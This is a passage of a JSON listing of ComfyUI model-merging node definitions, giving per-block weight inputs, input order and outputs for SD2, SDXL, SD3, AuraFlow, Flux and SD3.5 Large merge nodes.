{"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "time_embed.", "label_emb.", "input_blocks.0.", "input_blocks.1.", "input_blocks.2.", "input_blocks.3.", "input_blocks.4.", "input_blocks.5.", "input_blocks.6.", "input_blocks.7.", "input_blocks.8.", "input_blocks.9.", "input_blocks.10.", "input_blocks.11.", "middle_block.0.", "middle_block.1.", "middle_block.2.", "output_blocks.0.", "output_blocks.1.", "output_blocks.2.", "output_blocks.3.", "output_blocks.4.", "output_blocks.5.", "output_blocks.6.", "output_blocks.7.", "output_blocks.8.", "output_blocks.9.", "output_blocks.10.", "output_blocks.11.", "out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD2", "display_name": "ModelMergeSD2", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSDXL": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "time_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "label_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.0": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.1": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.2": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.3": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.4": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.5": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.6": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.7": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.8": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.0": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.1": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.2": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.0": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.1": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.2": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.3": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.4": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.5": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.6": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.7": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.8": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "time_embed.", "label_emb.", "input_blocks.0", "input_blocks.1", "input_blocks.2", "input_blocks.3", "input_blocks.4", "input_blocks.5", "input_blocks.6", "input_blocks.7", "input_blocks.8", "middle_block.0", "middle_block.1", "middle_block.2", "output_blocks.0", "output_blocks.1", "output_blocks.2", "output_blocks.3", "output_blocks.4", "output_blocks.5", "output_blocks.6", "output_blocks.7", "output_blocks.8", "out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSDXL", "display_name": "ModelMergeSDXL", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSD3_2B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "context_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "y_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embed.", "x_embedder.", "context_embedder.", "y_embedder.", "t_embedder.", "joint_blocks.0.", "joint_blocks.1.", "joint_blocks.2.", "joint_blocks.3.", "joint_blocks.4.", "joint_blocks.5.", "joint_blocks.6.", "joint_blocks.7.", "joint_blocks.8.", "joint_blocks.9.", "joint_blocks.10.", "joint_blocks.11.", "joint_blocks.12.", "joint_blocks.13.", "joint_blocks.14.", "joint_blocks.15.", "joint_blocks.16.", "joint_blocks.17.", "joint_blocks.18.", "joint_blocks.19.", "joint_blocks.20.", "joint_blocks.21.", "joint_blocks.22.", "joint_blocks.23.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD3_2B", "display_name": "ModelMergeSD3_2B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeAuraflow": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "init_x_linear.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "positional_encoding": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "cond_seq_linear.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "register_tokens": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "modF.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_linear.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "init_x_linear.", "positional_encoding", "cond_seq_linear.", "register_tokens", "t_embedder.", "double_layers.0.", "double_layers.1.", "double_layers.2.", "double_layers.3.", "single_layers.0.", "single_layers.1.", "single_layers.2.", "single_layers.3.", "single_layers.4.", "single_layers.5.", "single_layers.6.", "single_layers.7.", "single_layers.8.", "single_layers.9.", "single_layers.10.", "single_layers.11.", "single_layers.12.", "single_layers.13.", "single_layers.14.", "single_layers.15.", "single_layers.16.", "single_layers.17.", "single_layers.18.", "single_layers.19.", "single_layers.20.", "single_layers.21.", "single_layers.22.", "single_layers.23.", "single_layers.24.", "single_layers.25.", "single_layers.26.", "single_layers.27.", "single_layers.28.", "single_layers.29.", "single_layers.30.", "single_layers.31.", "modF.", "final_linear."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeAuraflow", "display_name": "ModelMergeAuraflow", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeFlux1": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "img_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "guidance_in": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "vector_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txt_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "img_in.", "time_in.", "guidance_in", "vector_in.", "txt_in.", "double_blocks.0.", "double_blocks.1.", "double_blocks.2.", "double_blocks.3.", "double_blocks.4.", "double_blocks.5.", "double_blocks.6.", "double_blocks.7.", "double_blocks.8.", "double_blocks.9.", "double_blocks.10.", "double_blocks.11.", "double_blocks.12.", "double_blocks.13.", "double_blocks.14.", "double_blocks.15.", "double_blocks.16.", "double_blocks.17.", "double_blocks.18.", "single_blocks.0.", "single_blocks.1.", "single_blocks.2.", "single_blocks.3.", "single_blocks.4.", "single_blocks.5.", "single_blocks.6.", "single_blocks.7.", "single_blocks.8.", "single_blocks.9.", "single_blocks.10.", "single_blocks.11.", "single_blocks.12.", "single_blocks.13.", "single_blocks.14.", "single_blocks.15.", "single_blocks.16.", "single_blocks.17.", "single_blocks.18.", "single_blocks.19.", "single_blocks.20.", "single_blocks.21.", "single_blocks.22.", "single_blocks.23.", "single_blocks.24.", "single_blocks.25.", "single_blocks.26.", "single_blocks.27.", "single_blocks.28.", "single_blocks.29.", "single_blocks.30.", "single_blocks.31.", "single_blocks.32.", "single_blocks.33.", "single_blocks.34.", "single_blocks.35.", "single_blocks.36.", "single_blocks.37.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeFlux1", "display_name": "ModelMergeFlux1", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSD35_Large": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "context_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "y_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embed.", "x_embedder.", "context_embedder.", "y_embedder.", "t_embedder.", "joint_blocks.0.", "joint_blocks.1.", "joint_blocks.2.", "joint_blocks.3.", "joint_blocks.4.", "joint_blocks.5.", "joint_blocks.6.", "joint_blocks.7.", "joint_blocks.8.", "joint_blocks.9.", "joint_blocks.10.", "joint_blocks.11.", "joint_blocks.12.", "joint_blocks.13.", "joint_blocks.14.", "joint_blocks.15.", "joint_blocks.16.", "joint_blocks.17.", "joint_blocks.18.", "joint_blocks.19.", "joint_blocks.20.", "joint_blocks.21.", "joint_blocks.22.", "joint_blocks.23.", "joint_blocks.24.", "joint_blocks.25.", "joint_blocks.26.", "joint_blocks.27.", "joint_blocks.28.", "joint_blocks.29.", "joint_blocks.30.", "joint_blocks.31.", "joint_blocks.32.", "joint_blocks.33.", "joint_blocks.34.", "joint_blocks.35.", "joint_blocks.36.", "joint_blocks.37.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD35_Large", "display_name": 